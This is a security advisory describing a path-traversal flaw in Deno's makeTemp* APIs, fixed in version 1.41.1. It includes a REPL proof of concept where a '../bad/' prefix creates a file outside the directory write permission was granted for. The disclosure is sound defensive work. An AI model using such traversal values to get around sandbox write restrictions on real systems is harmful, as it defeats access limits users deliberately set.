- Summary
- Insufficient permission checking in `Deno.makeTemp*` APIs
- Details
-
Impact
Insufficient validation of parameters in
Deno.makeTemp*APIs would allow for creation of files outside of the allowed directories. This may allow the user to overwrite important files on the system that may affect other systems.A user may provide a prefix or suffix to a
Deno.makeTemp*API containing path traversal characters. The permission check would prompt for the base directory of the API, but the final file that was created would be outside of this directory:$ mkdir /tmp/good $ mkdir /tmp/bad $ deno repl --allow-write=/tmp/good > Deno.makeTempFileSync({ dir: "/tmp/bad" }) ┌ ⚠️ Deno requests write access to "/tmp/bad". ├ Requested by `Deno.makeTempFile()` API. ├ Run again with --allow-write to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all write permissions) > n ❌ Denied write access to "/tmp/bad". Uncaught PermissionDenied: Requires write access to "/tmp/bad", run again with the --allow-write flag at Object.makeTempFileSync (ext:deno_fs/30_fs.js:176:10) at <anonymous>:1:27 > Deno.makeTempFileSync({ dir: "/tmp/good", prefix: "../bad/" }) "/tmp/good/../bad/a9432ef5" $ ls -l /tmp/bad/a9432ef5 -rw-------@ 1 user group 0 Mar 4 09:20 /tmp/bad/a9432ef5Patches
This is fixed in Deno 1.41.1.
